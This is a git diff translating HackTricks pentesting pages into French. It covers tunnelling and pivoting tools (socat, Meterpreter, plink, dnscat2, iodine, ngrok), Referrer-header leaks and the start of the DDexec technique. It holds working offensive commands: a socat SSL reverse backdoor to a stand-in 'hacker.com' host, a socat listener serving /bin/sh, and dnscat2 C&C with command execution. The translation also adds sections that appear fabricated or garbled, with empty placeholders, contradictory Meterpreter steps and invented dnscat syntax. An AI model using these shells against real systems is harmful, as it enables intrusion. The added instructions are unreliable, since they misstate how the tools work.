`REMOTE_HOST` doit être résolu par le proxy socks. Si ce n'est pas le cas, il est possible d'utiliser `socat` pour résoudre le nom d'hôte en utilisant la commande suivante: + +``` +socat TCP-LISTEN:LOCAL_PORT,fork EXEC:'bash -c "exec socat STDIO SOCKS4A:SOCKS_PROXY_IP:REMOTE_HOST:%REMOTE_PORT,socksport=SOCKS_PROXY_PORT"' +``` + +Dans ce cas, `REMOTE_HOST` sera résolu localement et le trafic sera redirigé vers le proxy socks. ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` +### Meterpreter via SSL Socat -### Meterpreter through SSL Socat +--- +Lorsque vous avez un accès limité à une machine, il peut être difficile d'obtenir un shell interactif. Cependant, si vous pouvez exécuter des commandes, vous pouvez utiliser `socat` pour créer un tunnel SSL vers une machine distante et exécuter un shell Meterpreter à travers ce tunnel. + +1. Sur la machine distante, exécutez `msfvenom` pour générer un payload Meterpreter avec l'option `--platform` correspondant à la plateforme cible et l'option `--arch` correspondant à l'architecture cible. Par exemple, pour générer un payload pour une plateforme Windows x64, utilisez la commande suivante : + + ``` + msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o payload.exe + ``` + +2. Transférez le fichier `payload.exe` sur la machine cible. + +3. Sur la machine cible, exécutez la commande suivante pour créer un tunnel SSL vers une machine distante : + + ``` + socat openssl-connect::,verify=0 exec:'cmd.exe',pty,stderr,setsid,sigint,sane + ``` + + Remplacez `` et `` par l'adresse IP et le port de la machine distante. + +4. Sur la machine distante, exécutez Metasploit et utilisez le module `exploit/multi/handler` pour écouter les connexions entrantes : + + ``` + use exploit/multi/handler + set PAYLOAD windows/x64/meterpreter/reverse_tcp + set LHOST + set LPORT + run + ``` + +5. Sur la machine cible, exécutez le fichier `payload.exe` pour établir une connexion avec la machine distante via le tunnel SSL. + +6. Une fois la connexion établie, vous devriez avoir un shell Meterpreter interactif sur la machine distante. ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -308,21 +365,15 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` - -You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console: - +Vous pouvez contourner un **proxy non authentifié** en exécutant cette ligne à la place de la dernière dans la console de la victime: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` +### Tunnel SSL Socat -[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) - -### SSL Socat Tunnel - -**/bin/sh console** - -Create certificates on both sides: Client and Server +**Console /bin/sh** +Créez des certificats des deux côtés : Client et Serveur. ```bash # Execute these commands on both sides FILENAME=socatssl @@ -336,34 +387,28 @@ chmod 600 $FILENAME.key $FILENAME.pem attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` +### Port2Port à distance -### Remote Port2Port - -Connect the local SSH port (22) to the 443 port of the attacker host - +Connectez le port SSH local (22) au port 443 de l'hôte attaquant. ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` - ## Plink.exe -It's like a console PuTTY version ( the options are very similar to an ssh client). - -As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine: +C'est comme une version console de PuTTY (les options sont très similaires à un client ssh). +Comme ce binaire sera exécuté sur la victime et qu'il s'agit d'un client ssh, nous devons ouvrir notre service ssh et notre port afin que nous puissions avoir une connexion inverse. Ensuite, pour ne transférer que le port accessible localement vers un port de notre machine: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` - ## Windows netsh ### Port2Port -You need to be a local admin (for any port) - +Vous devez être un administrateur local (pour n'importe quel port) ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: @@ -373,60 +418,50 @@ netsh interface portproxy show v4tov4 # Delete port forward netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` - ## SocksOverRDP & Proxifier -You need to have **RDP access over the system**.\ -Download: +Vous devez avoir **un accès RDP sur le système**.\ +Téléchargement : -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for **tunneling packets over the RDP connection**. -2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) - -In your client computer load **`SocksOverRDP-Plugin.dll`** like this: +1. [Binaires SocksOverRDP x64](https://github.com/nccgroup/SocksOverRDP/releases) - Cet outil utilise les `Dynamic Virtual Channels` (`DVC`) de la fonctionnalité Remote Desktop Service de Windows. DVC est responsable de **tunneliser les paquets sur la connexion RDP**. +2. [Binaire portable de Proxifier](https://www.proxifier.com/download/#win-tab) +Chargez **`SocksOverRDP-Plugin.dll`** sur votre ordinateur client comme ceci : ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` +Maintenant, nous pouvons nous **connecter** à la **victime** via **RDP** en utilisant **`mstsc.exe`**, et nous devrions recevoir une **invite** indiquant que le plugin **SocksOverRDP est activé**, et qu'il **écoutera** sur **127.0.0.1:1080**. -Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**. - -**Connect** via **RDP** and upload & execute in the victim machine the **`SocksOverRDP-Server.exe` ** binary: - +**Connectez-vous** via **RDP** et téléchargez et exécutez sur la machine de la victime le binaire **`SocksOverRDP-Server.exe`** : ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` - -Now, confirm in you machine (attacker) that the port 1080 is listening: - +Maintenant, confirmez sur votre machine (attaquant) que le port 1080 est en écoute : ``` netstat -antb | findstr 1080 ``` +Maintenant, vous pouvez utiliser [**Proxifier**](https://www.proxifier.com/) **pour faire transiter le trafic via ce port.** -Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.** +## Proxifier les applications GUI Windows -## Proxify Windows GUI Apps +Vous pouvez faire naviguer les applications GUI Windows via un proxy en utilisant [**Proxifier**](https://www.proxifier.com/).\ +Dans **Profil -> Serveurs Proxy**, ajoutez l'IP et le port du serveur SOCKS.\ +Dans **Profil -> Règles de proxification**, ajoutez le nom du programme à proxifier et les connexions vers les IPs que vous souhaitez proxifier. -You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\ -In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\ -In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify. - -## NTLM proxy bypass - -The previously mentioned tool: **Rpivot**\ -**OpenVPN** can also bypass it, setting these options in the configuration file: +## Contourner le proxy NTLM +L'outil précédemment mentionné : **Rpivot**\ +**OpenVPN** peut également le contourner, en définissant ces options dans le fichier de configuration : ```bash http-proxy 8080 ntlm ``` - ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\ -For example that forward port 443 - +Cntlm s'authentifie auprès d'un proxy et lie un port en local qui est redirigé vers le service externe que vous spécifiez. Ensuite, vous pouvez utiliser l'outil de votre choix via ce port.\ +Par exemple, cela peut rediriger le port 443. ``` Username Alice Password P@ssw0rd @@ -434,40 +469,34 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` - -Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\ -You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222. +Maintenant, si vous configurez par exemple sur la victime le service **SSH** pour écouter sur le port 443. Vous pouvez vous y connecter via le port 2222 de l'attaquant.\ +Vous pouvez également utiliser un **meterpreter** qui se connecte à localhost:443 et l'attaquant écoute sur le port 2222. ## YARP -A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) +Un proxy inverse créé par Microsoft. Vous pouvez le trouver ici: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) -## DNS Tunneling +## Tunneling DNS ### Iodine [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries. - +Le root est nécessaire dans les deux systèmes pour créer des adaptateurs tun et tunneliser les données entre eux en utilisant des requêtes DNS. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` - -The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using: - +Le tunnel sera très lent. Vous pouvez créer une connexion SSH compressée à travers ce tunnel en utilisant: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` - ### DNSCat2 -****[**Download it from here**](https://github.com/iagox86/dnscat2)**.** - -Establishes a C\&C channel through DNS. It doesn't need root privileges. +****[**Téléchargez-le ici**](https://github.com/iagox86/dnscat2)**.** +Établit un canal C\&C via DNS. Il n'a pas besoin de privilèges root. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com @@ -476,50 +505,84 @@ victim> ./dnscat2 tunneldomain.com attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` +#### **En PowerShell** -#### **In PowerShell** - -You can use [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) to run a dnscat2 client in powershell: - +Vous pouvez utiliser [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) pour exécuter un client dnscat2 en PowerShell : ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` +#### **Transfert de port avec dnscat** -#### **Port forwarding with dnscat** +--- +##### **Description** + +Dnscat est un outil qui permet de transférer des données via des requêtes DNS. Il peut être utilisé pour contourner les pare-feux qui bloquent les connexions sortantes sur des ports spécifiques. + +##### **Installation** + +Dnscat est disponible sur [GitHub](https://github.com/iagox86/dnscat2) et peut être installé en suivant les instructions du dépôt. + +##### **Utilisation** + +Pour utiliser dnscat, il faut d'abord lancer un serveur sur une machine accessible depuis l'extérieur. Ensuite, il faut lancer un client sur la machine qui souhaite se connecter au serveur. + +Pour lancer le serveur, il suffit d'exécuter la commande suivante : + +``` +dnscat2 --dns --secret +``` + +Le paramètre `--dns` spécifie le domaine à utiliser pour les requêtes DNS. Ce domaine doit être configuré pour pointer vers l'adresse IP de la machine qui exécute le serveur. + +Le paramètre `--secret` spécifie le secret à utiliser pour chiffrer les données transférées. + +Une fois le serveur lancé, il est possible de se connecter à celui-ci depuis un client en utilisant la commande suivante : + +``` +dnscat2 --dns --secret +``` + +Le client se connectera alors au serveur et pourra transférer des données via des requêtes DNS. + +##### **Exemple** + +Supposons que nous avons un serveur dnscat qui s'exécute sur `example.com` avec le secret `mysecret`. Pour transférer des données depuis la machine locale vers le serveur, nous pouvons utiliser la commande suivante : + +``` +echo "Hello, world!" | dnscat2 --dns example.com --secret mysecret +``` + +Les données seront alors transférées via des requêtes DNS et seront disponibles sur le serveur. ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` +#### Changer le DNS de proxychains -#### Change proxychains DNS +Proxychains intercepte l'appel libc `gethostbyname` et tunnelise la requête tcp DNS via le proxy socks. Par **défaut**, le serveur **DNS** que proxychains utilise est **4.2.2.2** (codé en dur). Pour le changer, éditez le fichier : _/usr/lib/proxychains3/proxyresolv_ et changez l'IP. Si vous êtes dans un environnement **Windows**, vous pouvez définir l'IP du **contrôleur de domaine**. -Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**. - -## Tunnels in Go +## Tunnels en Go [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) -## ICMP Tunneling +## Tunneling ICMP ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests. - +Les privilèges root sont nécessaires dans les deux systèmes pour créer des adaptateurs tun et tunneliser les données entre eux en utilisant des demandes d'écho ICMP. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` - ### ptunnel-ng -****[**Download it from here**](https://github.com/utoni/ptunnel-ng.git). - +****[**Téléchargez-le ici**](https://github.com/utoni/ptunnel-ng.git). ```bash # Generate it sudo ./autogen.sh @@ -533,31 +596,28 @@ ssh -p 2222 -l user 127.0.0.1 # Create a socks proxy through the SSH connection through the ICMP tunnel ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` - ## ngrok -**[ngrok](https://ngrok.com/) is a tool to expose solutions to Internet in one command line.** -*Exposition URI are like:* **UID.ngrok.io** +**[ngrok](https://ngrok.com/) est un outil pour exposer des solutions sur Internet en une seule ligne de commande.** +*Les URI d'exposition ressemblent à:* **UID.ngrok.io** ### Installation -- Create an account: https://ngrok.com/signup -- Client download: +- Créez un compte: https://ngrok.com/signup +- Téléchargez le client: ```bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin chmod a+x ./ngrok # Init configuration, with your token ./ngrok config edit ``` - -### Basic usages +### Utilisations de base **Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). -*It is also possible to add authentication and TLS, if necessary.* +*Il est également possible d'ajouter une authentification et TLS, si nécessaire.* #### Tunneling TCP - ```bash # Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 @@ -565,34 +625,28 @@ chmod a+x ./ngrok # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` - -#### Exposing files with HTTP - +#### Exposition de fichiers avec HTTP ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` +#### Sniffing des appels HTTP -#### Sniffing HTTP calls - -*Useful for XSS,SSRF,SSTI ...* -Directly from stdout or in the HTTP interface [http://127.0.0.1:4040](http://127.0.0.1:4000). - -#### Tunneling internal HTTP service +*Utiles pour XSS, SSRF, SSTI ...* +Directement depuis stdout ou dans l'interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000). +#### Tunnelisation d'un service HTTP interne ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ # With basic auth ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword" ``` +#### Exemple de configuration simple ngrok.yaml -#### ngrok.yaml simple configuration example - -It opens 3 tunnels: +Il ouvre 3 tunnels : - 2 TCP -- 1 HTTP with static files exposition from /tmp/httpbin/ - +- 1 HTTP avec exposition de fichiers statiques depuis /tmp/httpbin/ ```yaml tunnels: mytcp: @@ -605,8 +659,7 @@ tunnels: proto: http addr: file:///tmp/httpbin/ ``` - -## Other tools to check +## Autres outils à vérifier * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) @@ -615,10 +668,10 @@ tunnels: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/interesting-http.md b/interesting-http.md index 1b29dbcdd..e24136187 100644 --- a/interesting-http.md +++ b/interesting-http.md @@ -1,34 +1,31 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# Referrer headers and policy +# En-têtes de référence et politique -Referrer is the header used by browsers to indicate which was the previous page visited. +Le référent est l'en-tête utilisé par les navigateurs pour indiquer quelle était la page précédente visitée. -## Sensitive information leaked +## Fuite d'informations sensibles -If at some point inside a web page any sensitive information is located on a GET request parameters, if the page contains links to external sources or an attacker is able to make/suggest (social engineering) the user visit a URL controlled by the attacker. It could be able to exfiltrate the sensitive information inside the latest GET request. +Si à un moment donné à l'intérieur d'une page web, des informations sensibles sont situées dans les paramètres d'une requête GET, si la page contient des liens vers des sources externes ou si un attaquant est capable de faire/suggérer (ingénierie sociale) à l'utilisateur de visiter une URL contrôlée par l'attaquant. Il pourrait être capable d'exfiltrer les informations sensibles à l'intérieur de la dernière requête GET. -## Mitigation - -You can make the browser follow a **Referrer-policy** that could **avoid** the sensitive information to be sent to other web applications: +## Atténuation +Vous pouvez faire en sorte que le navigateur suive une **politique de référence** qui pourrait **éviter** que les informations sensibles ne soient envoyées à d'autres applications web : ``` Referrer-Policy: no-referrer Referrer-Policy: no-referrer-when-downgrade @@ -39,35 +36,13 @@ Referrer-Policy: strict-origin Referrer-Policy: strict-origin-when-cross-origin Referrer-Policy: unsafe-url ``` +## Contre-mesure -## Counter-Mitigation - -You can override this rule using an HTML meta tag (the attacker needs to exploit and HTML injection): - +Vous pouvez outrepasser cette règle en utilisant une balise méta HTML (l'attaquant doit exploiter une injection HTML) : ```markup ``` +## Défense -## Defense - -Never put any sensitive data inside GET parameters or paths in the URL. - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - +Ne jamais mettre de données sensibles dans les paramètres GET ou les chemins de l'URL. diff --git a/linux-hardening/bypass-linux-shell-restrictions/ddexec.md b/linux-hardening/bypass-linux-shell-restrictions/ddexec.md index fe5b220c1..e83aec318 100644 --- a/linux-hardening/bypass-linux-shell-restrictions/ddexec.md +++ b/linux-hardening/bypass-linux-shell-restrictions/ddexec.md @@ -4,30 +4,29 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. -## Context +## Contexte -In Linux in order to run a program it must exist as a file, it must be accessible in some way through the file system hierarchy (this is just how `execve()` works). This file may reside on disk or in ram (tmpfs, memfd) but you need a filepath. This has made very easy to control what is run on a Linux system, it makes easy to detect threats and attacker's tools or to prevent them from trying to execute anything of theirs at all (_e. g._ not allowing unprivileged users to place executable files anywhere). +Sous Linux, pour exécuter un programme, il doit exister en tant que fichier et être accessible d'une manière ou d'une autre dans la hiérarchie du système de fichiers (c'est ainsi que `execve()` fonctionne). Ce fichier peut résider sur le disque ou en RAM (tmpfs, memfd), mais vous avez besoin d'un chemin d'accès. Cela a rendu très facile de contrôler ce qui est exécuté sur un système Linux, cela facilite la détection des menaces et des outils des attaquants ou les empêche d'essayer d'exécuter quoi que ce soit de leur part (_par exemple_ ne pas permettre aux utilisateurs non privilégiés de placer des fichiers exécutables n'importe où). -But this technique is here to change all of this. If you can not start the process you want... **then you hijack one already existing**. +Mais cette technique est là pour changer tout cela. Si vous ne pouvez pas démarrer le processus que vous voulez... **alors vous en détournerez un déjà existant**. -This technique allows you to **bypass common protection techniques such as read-only, noexec, file-name whitelisting, hash whitelisting...** +Cette technique vous permet de **contourner les techniques de protection courantes telles que la lecture seule, noexec, la liste blanche des noms de fichiers, la liste blanche des hachages...** -## Dependencies - -The final script depends on the following tools to work, they need to be accessible in the system you are attacking (by default you will find all of them everywhere): +## Dépendances +Le script final dépend des outils suivants pour fonctionner, ils doivent être accessibles dans le système que vous attaquez (par défaut, vous les trouverez partout) : ``` dd bash | zsh | ash (busybox) @@ -41,54 +40,53 @@ wc tr base64 ``` +## La technique -## The technique +Si vous êtes capable de modifier arbitrairement la mémoire d'un processus, vous pouvez le prendre en charge. Cela peut être utilisé pour pirater un processus existant et le remplacer par un autre programme. Nous pouvons y parvenir en utilisant soit l'appel système `ptrace()` (qui nécessite que vous ayez la capacité d'exécuter des appels système ou que gdb soit disponible sur le système), soit, plus intéressant encore, en écrivant dans `/proc/$pid/mem`. -If you are able to modify arbitrarily the memory of a process then you can take over it. This can be used to hijack an already existing process and replace it with another program. We can achieve this either by using the `ptrace()` syscall (which requires you to have the ability to execute syscalls or to have gdb available on the system) or, more interestingly, writing to `/proc/$pid/mem`. +Le fichier `/proc/$pid/mem` est une correspondance un-à-un de l'espace d'adressage entier d'un processus (_par exemple_ de `0x0000000000000000` à `0x7ffffffffffff000` en x86-64). Cela signifie que la lecture ou l'écriture de ce fichier à un décalage `x` est identique à la lecture ou à la modification du contenu à l'adresse virtuelle `x`. -The file `/proc/$pid/mem` is a one-to-one mapping of the entire address space of a process (_e. g._ from `0x0000000000000000` to `0x7ffffffffffff000` in x86-64). This means that reading from or writing to this file at an offset `x` is the same as reading from or modifying the contents at the virtual address `x`. +Maintenant, nous avons quatre problèmes de base à résoudre : -Now, we have four basic problems to face: - -* In general, only root and the program owner of the file may modify it. +* En général, seul root et le propriétaire du programme du fichier peuvent le modifier. * ASLR. -* If we try to read or write to an address not mapped in the address space of the program we will get an I/O error. +* Si nous essayons de lire ou d'écrire à une adresse non mappée dans l'espace d'adressage du programme, 